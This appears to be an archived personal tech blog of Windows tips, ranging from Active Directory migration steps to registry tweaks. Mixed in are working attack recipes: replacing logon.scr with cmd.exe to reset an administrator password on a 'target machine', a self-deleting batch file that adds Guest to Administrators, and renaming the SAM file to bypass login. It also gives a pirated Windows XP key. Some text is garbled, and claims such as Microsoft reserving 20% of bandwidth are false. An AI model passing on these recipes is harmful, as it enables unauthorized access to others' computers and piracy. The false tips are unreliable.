è #fsmo maintenance: Transfer Schema master

Now new Windows Server 2008 DC is holding all master roles.

To check if new server is primary server type the following command:

#Net accounts

(Check whether server is Primary or backup, new server should be Primary now.)

Open support tools command prompt and check FSMO role.

Startà All programs àWindows support toolsàCommand prompt

# netdom query fsmo

Check all following 5 roles to make sure it is primary DC:

1 Infrastructure Master Role

2 Naming Master Role

3 PDC Master Role

4 RID

5 Schema master

All 5 Roles should be with New server

Upgrade/Migration/Transitioning AD/Exchange 2003 Std to Ad/Exchange 2008 Ent. x64 Part I

2010-03-22T11:19:00.000+11:00

1. Remove Antivirus from all “Server/ Servers” locations.

2. Assign new server IP Address:

IPAddress:

IP: x.x.x.x/nn

Gateway: x.x.x.x

DNS:

DNS : x.x.x.x (Old server as Primary)

DNS: x.x.x.x (Self IP asSecondary)

(**On New server make sure server windows firewall is disabled in order to ping it. OR put Exception to allow windows/ ICMP echo / Remote desktop/ DNS Traffic)

3. Check all the location servers connectivity to each other : Using “Ping”

Phase1-Preparing Old Server 2003 domain environment for Migration:

a / Raise Domain Functional Level:-

Go toàStart àAll Programsà Administrative Toolsà Active directory domains and trusts à Check domain functional level (r/c on domain name) àraise domain functional level to “windows server 2003” mode

(Note: requires Reboot then go to next step)

b/ Raise Forest Functional Level:-

Go toàStart àAll Programsà Administrative Toolsà Raise forest functional level (r/c on Active directory domains and trusts)à Raise domain functional level to “Windows server 2003”mode.

(Note: requires Reboot then go to next step)

(**Restart all location servers, so that updates can be replicated to all servers and make sure domain and forest functional level on all the servers are updated.)

c/ Extend Active Directory Schema Version :-

To check current schema version

à Start à Run à regedit à

HKEY_Local_Machine\Systems\currentcontrolset\services\NTDS\Parameters

Click on “Schema Version” it should be 30 or 31.

Copy ADprep32.exe from windows 2008 server CD to Old server in C: drive.

Go to > CMD >

# cd \adprep32

# adprep 32.exe /forestprep

Do not close the cmd, as we need it in next Step

Now Check the Schema Version

à Start à Run à regedità

HKEY_Local_Machine\Systems\currentcontrolset\services\NTDS\Parameters

Should be updated to 41

(**Check all other domain controllers for the same)

d/ Prepare Domain and Group Policy Level

Go to > CMD > cd \adprep32

# Adprep32 /domainprep /gpprep

e/ Install Windows Server 2003 Support Tools on Old Server :-

Open support tools command prompt

Startà All programs àWindows support toolsàCommand prompt

# netdom query fsmo

Check all following 5 roles to make sure it is primary DC:

1. Infrastructure Master Role

2. Naming Master Role

3. PDC Master Role

4. RID

5. Schema master

All 5 Roles should be with OLD server

Summary: - In this part we have prepared our Current AD environment to Install First Windows server 2008. Now in next step we will Install Windows server 2008 and will promote this server as primary DC by transferring all 5 FSMO roles to the new server. Also we will prepare, install and configure our Domain Environment for the Exchange Standard Server 2007 SP1.

Clear system page file at shutdown

2008-06-01T18:24:00.000+10:00

Click on Start --> Run --> Wire on Open space "Regedit" without coates.
New window will opens got to the below navigation.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\ClearPageFileAtShutdownDouble click on it and give Value: 1 Click on ok।

Adding Pop-Up Blocker Exceptions(Allow Pop-Up List) via GPO

2008-06-01T18:20:00.000+10:00

To get this setup follow these steps:
1. Open your preferred GPO editor and create a new GPO.
2. Navigate to Computer Configuration > Administrative Templates > Windows Components > Internet Explorer
3. Double click on the item named "Pop-Up Allow List"
4. Enable the GPO
5. Click "Show" to show a list of allowed sites
6. Click "Add" to add a new site to the list.
7. Accept all of your changes and apply the GPO. Remember when entering in allowed sites that only the domain name is allowed, so www.google.com will work, but not http://www.google.com. Wildcards are allowed as well, so *.google.com is also valid.

Use photos in Windows XP’s 3D Flying Objects

2008-03-20T21:39:00.000+11:00

you can use a photo for the texture in the 3D Flying Objects screen saver. Here’s how:
Locate the photo you want to use in this screen saver, load it into a graphics program, and save it as a BMP file। (BMP is the only file type the 3D Flying Objects screen saver will allow you to सेलेक्ट)

Right-click on the desktop, select Properties, select the Screen Saver tab, and select 3D Flying Objects from the Screen Saver drop-down list.
Click the Settings button and select Textured Flag from the Style drop-down list.
Click the Texture button and use the Choose Texture File dialog box to locate and select your photo.
Crank up Resolution and Size sliders to the Max setting and click OK to close the 3D Flying Objects Setting dialog box.
Click the Preview button to test your new screen saver, then click OK to enable it

Change OR Reset Admin Password by limited Account

2008-03-01T11:44:00.000+11:00

Type the following command in run

"compmgmt.msc"(don’t use quotes)

then u will be opened with a window in that->
Go to local users & groups->user
Then u will be opened with different users in your system.
Then on admin option right click it and select set password and set password. It will be change. now login with your new password........................

hack windows XP admin password

2008-03-01T11:40:00.000+11:00

If you log into a limited account on your target machine :-
open up a dos promptthen enter this set of commands Exactly:
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called abcd and you want the password 1234 enter this"net user abcd 1234"and this changes the password on abcd machine to 1234 and your in.

HOW TO DISPLY PENTIUM 5 OR EVEN MORE IN XP

2008-02-29T22:13:00.000+11:00

NOW U CAN ABLE TO SHOW PENTIUM 5 AND EVEN MORETYPE "REGEDIT" IN RUN BOX {START->RUN->TYPE REGEDIT}NOW CLICK INH-KEY-LOCAL-MACHIN . THEN ON HARDWARE. THEN ON DISCRIPTION.THEN ON SYSTEM,THEN ONCentralProcessor.THEN ON 0{H-KEY-LOCAL-MACHIN/HARDWARE/DISCRIPTION/SYSTEM/CentralProcessor/0}NOW U GET IN RIGHT PANE THE VALUE THAT IS"ProcessorNameString"DOUBLE CLICK ON THIS VALUEVALUE NAME AND VALUE DATA IS NOW IN FROUNT OF U NOW IN DATA COLOM U CAN EDIT IT RANDOMLY WHAT U WANT IN PLACE OF THATVALUEAND THEN PRESS OKNOW SEE SYSTEM PROPERTY JUST RIGHT CLICKING IN U ARE MY COMPUTER ICON OR SEE SYSTEM .

Internet Explorer 8 aims for standard compliance

2008-01-16T20:48:00.000+11:00

Internet Explorer 8 aims for standard compliance

http://blogs.techrepublic.com.com/tech-news/?p=1803

Restart Windows Server 2003 from the command line

2008-01-16T20:41:00.000+11:00

Restart Windows Server 2003 from the command line

http://blogs.techrepublic.com.com/datacenter/?p=245

Move Windows XP’s Quick Launch toolbar where ever you want

2008-01-08T22:18:00.000+11:00

1. Position your mouse pointer over the vertical bar on the left edge of the Quick Launch toolbar until your cursor turns into a double‐headed arrow.

2. Drag the Quick Launch toolbar to any location on the desktop — you can anchor it to the top, left, or right edge of the desktop.

3. Once you position it where you want, you can right‐click on the toolbar and select the Always On Top command so that you can always access the Quick Launch toolbar just like you can the taskbar.

WORK MULTIPLE YAHOO MESSANGERS SIMULTANEOUS

2007-12-15T19:39:00.001+11:00

1. Go to Start --> Run . Type regedit, then enter.

2. Navigate to HKEY_CURRENT_ USER --> Software -->yahoo -->pager-->Test

3. On the right page , right-click and choose new Dword value .

4. Rename it as Plural.

5. Double click and assign a decimal value of 1.

Increase ur browsing speed in Mozila Fire Fox

2007-12-15T19:25:00.000+11:00

Speed up your firefox browser and load pages about 20% faster than previous.

1. Type "about:config" into the address bar and hit return. Scroll down and look for the following entries:network.http.pipeliningnetwork.http.proxy.pipeliningnetwork.http.pipelining.maxrequestsNormally the browser will make one request to a web page at a time. When you enable pipelining it will make several at once, which really speeds up page loading.

2. Alter the entries as follows:Set "network.http.pipelining" to "true"Set "network.http.proxy.pipelining" to "true"Set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once.

3. Lastly right-click anywhere and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it recieves.If you're using a broadband connection you'll load pages 2-3 times faster now.mozila net increase speed

Block websites without any software

2007-12-15T19:13:00.000+11:00

Steps

1. Browse C:\WINDOWS\system32\drivers\etc

2. Find the file named "HOSTS"

3. Open it in notepad

4. Under "127.0.0.1 localhost" Add 127.0.0.2 www.orkut.com , and that site will no longer be accessable.

example :
127.0.0.1 localhost
127.0.0.2 www.orkut.com

www.orkut.com is now unaccessable

For every site after that you want to add, just add "1" to the last number in the internal ip (127.0.0.2) and then the add like before.
IE:
127.0.0.3 www.yahoo.com
127.0.0.4 www.msn.com
127.0.0.5 www.google.com

Login with multiple id at the same time in orkut , gmail , yahoo

2007-12-15T19:09:00.000+11:00

To perform this trick u need firefox mozilla browserIf u don't have mozilla ff u can download it from hereLook on right sidebar for mozilla firefox with google toolbarIt is absolutely free

Step
1: open system properties(by right clicking my computer), choose tab advanced, click to environment variables button. in system variables section, click new. type this information to each textbox.variable name: moz_no_remote(should be all small letter)variable value: 1press ok to close all windows.step

2: open firefox icon's properties(from desktop and quick launch). add extension -p to command line(like "c:\program files\mozilla firefox\firefox.exe" -p). press ok.while starting firefox u have to create two separate profiles of firefox so that u can login to two accounts of any(orkut,yahoo,rediff or anything else).......for three logins create three profiles of firefox.........

Crack MMC password

2007-12-15T18:59:00.000+11:00

Steps
1. Install the File explorer Software e.g. SELQ of Fileman thru data Cable or Bluetooth in Phone memory

2. Then Insert The Blocked MMC

3. Open the File Explorer Software

4. goto C:\ i.e Phone Memory

5. goto System

6. Goto Find and Search MMcstore

7. Send this file by Bluetooth or Infraread to your PC

8. Rename the file MMCSTORE to MMCSTORE.TXT

9. pen the file and the password off the MMC are there

How to use Google as proxy

2007-12-15T18:44:00.000+11:00

1: The first and most common way of using google to bypass blocked sites is just to search for the site and then clicked the "cached" link that appears on google. Easy, simple, and frequently works for static information.

2: Passing the site through google translator works well as well. Here's the URL to use:Code:http://www.google.com/translate?langpair=enen&u=www.blockedsite.com(where blockedsite.com is the site that you wish to visit)This translates the site from english to english and works because the ip address will appear as google instead of you. Here's a link to tech-recipes passed through the translator as an example. You can actually do this with any langpair. Change enen in the URL above to spanish by using eses and it still works.

Get Admin Privileges when you are log on as guest user

2007-12-15T18:26:00.000+11:00

Want admin privileges on your pc, when you are log on as guest user

Copy and paste the code given below in notepad and save it as anyname.bat(not txt)

Than double click on it. This will add Guest user in administrators group

echo off
title Please wait...
clsnet user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

Russell Peters

2007-12-04T22:11:00.001+11:00

Russell Peters Indian Accent

2007-12-04T22:10:00.005+11:00

Russell Peters - Asians

2007-12-04T22:10:00.003+11:00

Russell Peters Accents Clip

2007-12-04T22:10:00.001+11:00

Good one

BitDefender Total Security 2008

2007-10-31T15:52:00.000+11:00

BitDefender Total Security 2008 - the Ultimate Proactive Protection for Your PCs BitDefender®
http://www.9down.com/BitDefender-AntiVirus-Internet-Security-Total-Security-2008-v11-0-13-Final-18841/

Virtual CloneDrive 5.2.0.2 Beta

2007-10-30T20:19:00.000+11:00

Virtual CloneDrive 5.2.0.2 Beta

http://rapidshare.com/files/66208845/SetupVirtualCloneDrive5202.exe

Microsoft Private Folder tools

2007-10-30T20:15:00.000+11:00

Microsoft Private Folder is a useful tool for you to protect your private data when your friends, colleagues, kids or other people share your PC or account. With this tool, you will get one password protected folder called 'My Private Folder' in your account to save your personal files. Download and have your private folder today:
http://rapidshare.com/files/66208380/Microsoft_Private_Folder.msi

Memory Test And Check Sotfware

2007-10-30T20:11:00.000+11:00

Memory Test And Check Sotfware

http://rapidshare.com/files/65024759/TeamViewer_Setup.exe

PHP.Pocket.Reference.2nd.Edition

2007-10-26T09:03:00.001+10:00

PHP.Pocket.Reference.2nd.Edition

client program for the SSH, Telnet and Rlogin network protocols

2007-10-26T08:59:00.000+10:00

Putty.exe

PuTTY is a client program for the SSH, Telnet and Rlogin network protocols.
Click here for download :

http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

AVG Anti Rootkit Free Download

2007-10-26T08:57:00.001+10:00

AVG Anti Rootkit Free Download

Click here :

http://free.grisoft.com/doc/5390/us/frt/0

AVG Anti Spyware 7.5 free download

2007-10-26T08:55:00.000+10:00

AVG Anti Spyware 7.5 free download

Click here :

http://free.grisoft.com/doc/5390/us/frt/0

AVG Anti Virus Free Edition

2007-10-26T08:54:00.000+10:00

AVG Anti Virus Free Edition : Click here

http://free.grisoft.com/doc/5390/us/frt/0

Remote Desktop connection Software

2007-10-25T18:09:00.000+10:00

Easy way to connect remotely from any ware. just three steps away :
1 Download sofware
2 Install it
3 send this link to the other person whom you wnat to connect and ask them to install and give you a password.

http://rapidshare.com/files/65024759/TeamViewer_Setup.exe

automatic logon for Windows XP Home Edition or Windows XP Professional

2007-10-02T00:28:00.000+10:00

I > Start / Run / control userpasswords2 / OK.
II > On the Users tab, clear the Users must enter a user name and password to use
this computer box.
III>Press Apply and OK.

Disable the Windows XP Tool Tips

2007-10-02T00:13:00.002+10:00

I > Copy / Paste the following to a NoTT.reg file:

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"ShowInfoTip"=dword:00000000

II > Merge the NoTT.reg file with the registry or run regedit /s NoTT.reg.

III>The use must log off and on for this setting to take effect.

Force Explorer to display an open with choice

2007-10-02T00:13:00.001+10:00

If a file with a known extension is right clicked, you are offered a choice to open the file. If you wish to open this file with a different program, highlight the file, and press Shift + Right Click and choose open with. You can permanently change the association by checking the "always open with this program" check box.

Automatically close non-responsive programs

2007-10-01T23:45:00.000+10:00

With a small registry tweak, Windows XP can be set to automatically close any program that 'stops responding' (crashes), eliminating the need for you to use the task manager to close down the offending software manually.

To do this:

Open REGEDIT and navigate to HKEY_CURRENT_USER\Control Panel\ Desktop

Modify the REG_SZ entry AutoEndTasks with a value of 1

Set monitor refresh rate

2007-10-01T23:44:00.000+10:00

Every monitor has a maximum refresh rate it is capable of displaying at a given resolution (for example, a typical 17-inch monitor of a few years ago will happily crank out 85Hz or more at a resolution of 800x600, but may only be capable of 60Hz at 1600x1200).

If this refresh rate is exceeded, the image will be distorted and unusable.

Older CRT monitors, especially 15-inch or smaller ones, tend not to be capable of a refresh rate much over 60Hz, especially at resolutions greater than 640X480. Also, setting the refresh rate does not have the same effect on LCD or flat panel monitors, as their screens are not redrawn in the same way.

To change your monitor refresh rate: Right click on an empty space on your desktop (no icons) and select 'properties.' Click the 'settings' tab and choose the 'advanced' button. Now choose the 'adaptor' tab and click the 'show all modes' button.

This presents you with a list of resolution, colour and refresh rate options that your video card\monitor combination is capable of displaying. You can experiment with these settings by using the 'apply' button. Note that a refresh rate of 75Hz or above is generally recommended, (keep in mind most monitors do not support settings higher than 85Hz).

After you set the refresh rate, you may feel a little uncomfortable for a short while as your eyes adjust, but rest assured you will grow to appreciate the difference in ease of viewing.

system restore when you कैन not boot your system

2007-10-01T23:43:00.000+10:00

If your system has failed to the point where you cannot access the Windows GUI either through booting normally or through safe mode, you may still have the chance to use the System Restore feature if you have it enabled, by running it form the command prompt. To do this:

Restart your computer and press F8 after the POST screen to bring up the Windows XP boot menu. Choose 'boot in safe mode with command prompt.'

If your system gets to the command prompt successfully, type '%systemroot%\system32\restore\rstrui.exe' and then press enter. Follow the onscreen instructions to restore your computer to a previous saved point.

Hosting online games through the Windows XP firewall

2007-10-01T23:42:00.000+10:00

If you are using the Windows XP firewall and you wish to host an online game such as Quake 3, or other applications that require users on the Internet to contact your computer directly, you will need to customize your firewall slightly to allow these specific communications through. Fortunately the XP firewall makes these changes fairly easy to do.

To customize your firewall: Go to 'start\control panel\network connections'. Right click on the network connection that has the firewall enabled and go to 'properties.' Choose the 'settings' button at the bottom. On the 'services' tab, click the 'add' button.

This window will add the application that you are using to the firewall's list of data that is allowed into your computer.

You will need to find out the port that your application uses. This information should be available from the documentation or from the software manufacturer's website.

Input a description for your convenience, then the computer name or IP address of the computer that is hosting the program, then put the port number that the program uses. Note that as long as the program is running on the computer that uses the XP firewall, the internal and external port will be the same.

Click 'ok' to apply the rule. Your firewall will now allow connections through the port you specified.

Automatically run programs when starting Windows

2007-10-01T23:41:00.002+10:00

If there are applications or commands that you run every single time you start your computer (Email comes to mind) you may want to consider setting things up so that these programs run automatically during the Windows XP startup. This can be done quite easily in XP by creating shortcuts and shuffling them around.

Here's how: Windows XP has a startup folder located at 'C:\ Documents and Settings\ (your user name)\ Start Menu\ Programs\Startup.' Shortcuts placed into this folder will be run automatically when Windows XP starts up.

If you already have shortcuts for the programs you desire to use, copy and paste them into the startup folder. Otherwise, go to 'start\programs,' select the program you would like to create a shortcut for, right click it and select 'send to' then 'desktop.' This will create a shortcut on the desktop that you can then use.

Breaking The XP Password:

2007-10-01T23:41:00.001+10:00

In case of user password boot the pc in safemode by pressing the F8 key and then selecting the Safe Mode option. You can now logon as an administrator and XP wont prompt for the password. Incase of an administrator account try rebooting the pc in DOS. access C:\Windows\system32\config\sam . Rename SAM as SAM.mj
Now XP wont ask for password next time You Login. Also

Go to the cmd prompt .
Type net user *.
It will list all the users.
Again type net user "administrator" or the name of the administrator "name" *.
e.g.: net user aaaaaa *(where aaaaaa is the name).
It will ask for the password.
Type the password and there you are done.
Logging In As Administrator:

Hold the Ctrl-Alt key and press Del twice. This will bring up the normal login and you can log on as Administrator.

To unhide the Administrator account so it does show up:

Start Regedit

Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList

Unhide the Administrator key by giving it a value of 1

Convert a FAT partition to NTFS

2007-10-01T23:40:00.002+10:00

Click Start, click Programs, and then click Command Prompt.
In Windows XP, click Start, click Run, type cmd and then click OK.
At the command prompt, type CONVERT [driveletter]: /FS:NTFS.
Convert.exe will attempt to convert the partition to NTFS.
NOTE: Although the chance of corruption or data loss during the conversion from FAT to NTFS is minimal, it is best to perform a full backup of the data on the drive that it is to be converted prior to executing the convert command. It is also recommended to verify the integrity of the backup before proceeding, as well as to run RDISK and update the emergency repair disk (ERD).

Disabling Unnecessary Programs At Startup

2007-10-01T23:40:00.001+10:00

Many programs add portions of themselves starting automatically on every login.This can be either in the Startup Folder or the Registry. One easy way to tell is by looking at how many icons are in your system tray. If you have a large number, perhaps unnecessary resources are being allocated them as well as increasing your boot time. Typical examples are Microsoft Office, Office FindFast, Real Player, ATI Video setting etc. You can remove them in one of three main ways:

In the Start / Programs / Startup Folder
In the Registry under HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run

Renaming The Start Button

2007-10-01T23:39:00.001+10:00

To rename the start button, you will need a hex editor.
My preference is UltraEdit

Copy the \windows\explore.exe file to a new name (e.g. explorer_1.exe)
With the hex editor, open that file and go to offset 412b6
You will see the word start with blanks between each letter
Edit it be any 5 characters or less
Save the file
Boot to DOS
Copy the existing c:\windows\explorer.exe to explorer.org
Copy explorer_1.exe to explorer.exe
You will also need to replace the explorer.exe in the c:\windows\system32\dllcache file as well with the new one.
Note: If the partition is NTFS and you can't access the files from DOS:

Start Regedit
Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon.
Change the value of Shell from Explorer.exe to explorer_1.exe

Increase the Internet Speed:

2007-10-01T23:38:00.001+10:00

To Increase the Internet Speed:
Open Notepad and paste the below code in it.

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"SackOpts"=dword:00000001
"TcpWindowSize"=dword:0005ae4c
"Tcp1323Opts"=dword:00000003
"DefaultTTL"=dword:00000040
"EnablePMTUBHDetect"=dword:00000000
"EnablePMTUDiscovery"=dword:00000001
"GlobalMaxTcpWindowSize"=dword:0005ae4c

Now save this file as speed.reg. Execute it and observe the change!

Removing Multiple Boot Screens

2007-10-01T23:37:00.002+10:00

Removing Multiple Boot Screens:
If you are getting unwanted multiple boot screen
Then Follow these Steps.
1> Right Click on My Computer
2>Select Properties
3>Select Advanced Tab
4>Select Settings In the Startup & Recovery Section(3rd grp)
5>Select the operating system which u want.
6>And Click OK.
7>Further again press the setting and click on Edit.
8>It will open boot.ini File.
9>Now u can delete those o/s which you don't want to be displayed.

Note: For deleting operating systems from boot.ini file, keep it mind that you can't
delete that o/s which is selected by default there. Before
making any changes make a copy of boot.ini file.

Modify Color Selection of Default Theme

2007-10-01T23:37:00.001+10:00

Modify Color Selection of Default Theme:
Open registry by going to Start then Run. Entering regedit, navigate to [HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\ThemeManager] and locate the key "ColorName".
Right Click on it and select modify its value from "NormalColor" to "Metallic"
Click Ok, and exit regedit and restart your computer.

Creating The Suspend Shortcut

2007-10-01T23:36:00.001+10:00

Right click on the Desktop .New / Shortcut. Enter in rundll32.exe PowrProf.dll, SetSuspendState . Give it whatever name you want. Now when you click on that shortcut, your computer will shutdown and suspend.

Using advanced file security settings in विन्डोज़ NTFS

2007-10-01T23:35:00.000+10:00

Using advanced file security settings in Windows
Windows XP is based on the same platform as Windows 2000, and shares that operating system's robust file security options, at least when using the NTFS file system. Unfortunately this security system, which enables an administrator to decide exactly which files and programs any given user will have access to, is not actually implemented by default in Windows XP. This is a concession Microsoft made to avoid confusing basic users of XP Pro, and to cripple XP Home.

The NTFS file security options can be enabled easily enough in XP Pro, but are apparently non-existent in the Home version. Fact is, the tools are there, you just need to look a little bit harder.

To enable NTFS file security in Windows XP Home: First you need to assure that at least your main hard drive is formatted with the NTFS file system. See tip #61 for instructions on this. Restart your system. Just after the memory and BIOS check screen, but before the Windows splash screen comes up, press F8 a few times.

When the Windows boot menu appears, select 'safe mode' from the list of options.

Once Windows has loaded in safe mode, right click the folders and files you would like to change access to. You will notice that the 'security' tab now exists, and thus you are allowed to assign or deny access to individual users for each file, folder and program. Once you are done, restart Windows normally, and your changes will be enforced.

Adding Administrative Tools Icon To The Desktop

2007-10-01T23:34:00.000+10:00

Open Registry Editor. In Registry Editor, navigate to the following registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace . Create the following key: {D20EA4E1-3957-11d2-A40B-0C5020524153} (just copy/paste, including the brackets). Close Registry Editor. There is no need to reboot. Just wait a few seconds and see how the icon appears.

MAKING WINDOWS XP GENUINE THE EASY WAY

2007-10-01T23:33:00.000+10:00

download jellybean keyfinder from this website
http://www.magicaljellybean.com/keyfinder.shtml

Now open keyfinder.exe
Click on options and click "change windows key"
Now enter this key and you're done.
*****************************
V2C47-MK7JD-3R89F-D2KXW-VPK3J
*****************************

P.S: this works on windows xp sp2 only......

ppl u can try this out...
this might sound silly but it works perfectly...

TRY INSTALLING IE7 OR MEDIA PLAYER11.

Unlock the supersecret Admin account in vista

2007-09-27T16:10:00.000+10:00

Deep inside the bowels of Windows Vista, there's a secret Administrator account, and it's different from the normal administrator account you most likely have set up on your PC. This Administrator account is not part of the Administrator group. (Confused yet? You should be.) It's a kind of superadministrator, akin to the root account in Unix, and by default it's turned off and hidden. (In describing this hack, we'll always use the capital "A" for the secret Administrator account, and a lowercase "a" for a normal administrator account.) In versions of Windows before Windows Vista, the Administrator account wasn't hidden, and many people used it as their main or only account. This Administrator account had full rights over the computer.

In Windows Vista, Microsoft changed that. In Vista, the Administrator account is not subject to UAC, but normal administrator accounts are. So the Administrator can make any changes to the system and will see no UAC prompts.

Turning on the Administrator account is straightforward. First, open an elevated command prompt by typing cmd into the Search box on the Start menu, right-clicking the command prompt icon that appears at the top of the Start menu, then selecting Run as administrator -- or just use the shortcut you created in the previous hack.

Then enter this command and press Enter:

Net user administrator /active:yes

From now on, the Administrator account will appear as an option on the Welcome screen, along with any user accounts you may have set up. Use it like any other account. Be aware that it won't have a password yet, so it's a good idea to set a password for it.

If you want to disable the account and hide it, enter this command at an elevated command prompt and press Enter:

Net user administrator /active:no

Removing the Recycle Bin from the Desktop:

2007-09-27T13:39:00.000+10:00

If you don't use the Recycle Bin to store deleted files , you can get rid of its desktop icon all together. Run Regedit and go to:
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/explorer/Desktop/NameSpace

Customize Internet Explorer's Title Bar

2007-09-27T13:17:00.001+10:00

Customize Internet Explorer's Title Bar:
Open Registry by going to Start then Run and Enter regedit. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Internet. Explorer\Main. In right hand panel look for string "Window Title" and change its value to whatever custom text you want to see.

Improving the Slow Boot up time:

2007-09-27T13:16:00.000+10:00

There are a variety of reasons why your windows XP system would boot slowly. Most of the times it this has to do with the startup applications. If you would like to speed up the bootup sequence, consider removing some of the startup applications that you do not need. Easiest way to remove startup apps is through System Configuration Utility. Go to Start then Run and enter MSCONFIG and go to the Startup tab. Deselect/UnCheck application(s) that you do not want to startup at boot time.

Hiding shared folders with $

2007-09-27T13:15:00.000+10:00

Hiding shared folders with $
If you would like to share a folder so that users on your network can access it easily, but are worried about displaying the folder for anyone to browse through, there is an easy way to render a shared folder invisible but still accessible. From the shared folder dialog: (right click on desired folder\sharing and security\). You can hide a shared folder by simply adding a '$' to the end of the name you give the folder in the 'sharing and security' window. In this way, you can maintain network access to shared folders, while hiding them from prying eyes. To browse to a hidden shared folder from another computer, simply click 'start/run' then type \\(name of the computer the share is on)\(sharename$) and press enter.

Removing the Shortcut arrow from Desktop Icons

2007-09-27T13:14:00.000+10:00

Goto Start then Run and Enter regedit. Navigate to HKEY_CLASSES_ROOTlnkfile. Delete the IsShortcut registry value. You may need to restart Windows XP.

To change Drive Letters

2007-09-27T13:13:00.000+10:00

To change Drive Letters:
Go to Start > Control Panel > Administrative Tools > Computer Management, Disk Management, then right-click the partition whose name you want to change (click in the white area just below the word "Volume") and select "change drive letter and paths." From here you can add, remove or change drive letters and paths to the partition

Customize Logon prompt with your Own Words

2007-09-27T13:06:00.001+10:00

Customize Logon prompt with your Own Words:
Open Registry by going to Start then Run, entering regedit and Navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]. In right pane, look for key by the name "LogonPrompt". Set its value to whatever text you want to see displayed at login screen.

Increasing Band-Width By 20%

2007-09-27T13:05:00.001+10:00

Increasing Band-Width By 20%:
Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etcTo get it back:Click Start then Run and type "gpedit.msc" without quotes.This opens the group policy editor. Then go to:Local Computer Policy then Computer Configuration then Administrative Templates then Network then QOS Packet Scheduler and then to Limit Reservable Bandwidth. Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e."By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It works on Win 2000 as well.

Making Google the Default Search Engine in Internet

2007-09-27T13:04:00.000+10:00

Open registry editor by going to Start then Run and entering regedit and navigate to following three keys separately and change it as shown below:[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] "Search Page"=" http://www.google.com""Search Bar"=" http://www.google.com/ie "[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchURL]""=" http://www.google.com/keyword/%s"[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Search] "SearchAssistant"=" http://www.google.com/ie" .

Force windows XP to reboot upon crashing

2007-09-27T13:02:00.002+10:00

Force windows XP to reboot upon crashing
This registry edit will cause your system to reboot itself automatically upon crashing. This can be useful if you have a reason for keeping your system on 24/7:Open REGEDITNavigate to 'HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Control\CrashControl' Edit the 'AutoReboot' value to '1'

Removing Shared Documents folder From My Computer

2007-09-27T13:02:00.001+10:00

Open registry editor by going to Start then Run and entering regedit. Once in registry, navigate to keyHKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders You must see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}. If you delete this key, you have effectively removed the my shared documents folder.

Locking the desktop

2007-09-27T13:00:00.000+10:00

If you are leaving your computer for a while and do not wish to turn it off, but want to assure that no-one else can use the computer while you are away, locking the desktop is the best option. By pressing WINDOWSKEY+L, you password protect your system just as if you had logged out or restarted the computer. The advantage is that any programs or processes that were running when you locked the desktop will stay open and running in the background, ready for you to resume work or play.

Renaming The Recycle Bin icon:

2007-09-27T12:59:00.002+10:00

To change the name of the Recycle Bin desktop icon, click Start then goto Run, write Regedit and press Enter. It opens Registry Editor. Now in Registry Editor go to:HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E} and change the name "Recycle Bin" to whatever you want (don't type any quotes).

Modify autoplay for different types of CD

2007-09-27T12:59:00.001+10:00

Windows XP includes the ability to perform different actions depending on the type of CD you insert into the drive. For example, you could set your system to always respond to CDs containing MP3 files by opening Windows Media Player. To edit the Autoplay properties: Open 'my computer'. Right click on the drive you wish to set and select 'properties.' Choose the autoplay tab. Use the dropdown box to see the various recognized types of CD and choose appropriate actions for them.

Creating Shutdown Icon or One Click Shutdown

2007-09-27T12:58:00.001+10:00

Navigate to your desktop. On the desktop, right-click and go to New, then to Shortcut (in other words, create a new shortcut). You should now see a pop-up window instructing you to enter a command line path. Use this path in "Type Location of the Item"SHUTDOWN -s -t 01If the C: drive is not your local hard drive, then replace "C" with the correct letter of the hard drive. Click the "Next" button. Name the shortcut and click the "Finish" button. Now whenever you want to shut down, just click on this shortcut and you're done.

Creating a desktop shortcut for locking your Computer

2007-09-27T12:55:00.000+10:00

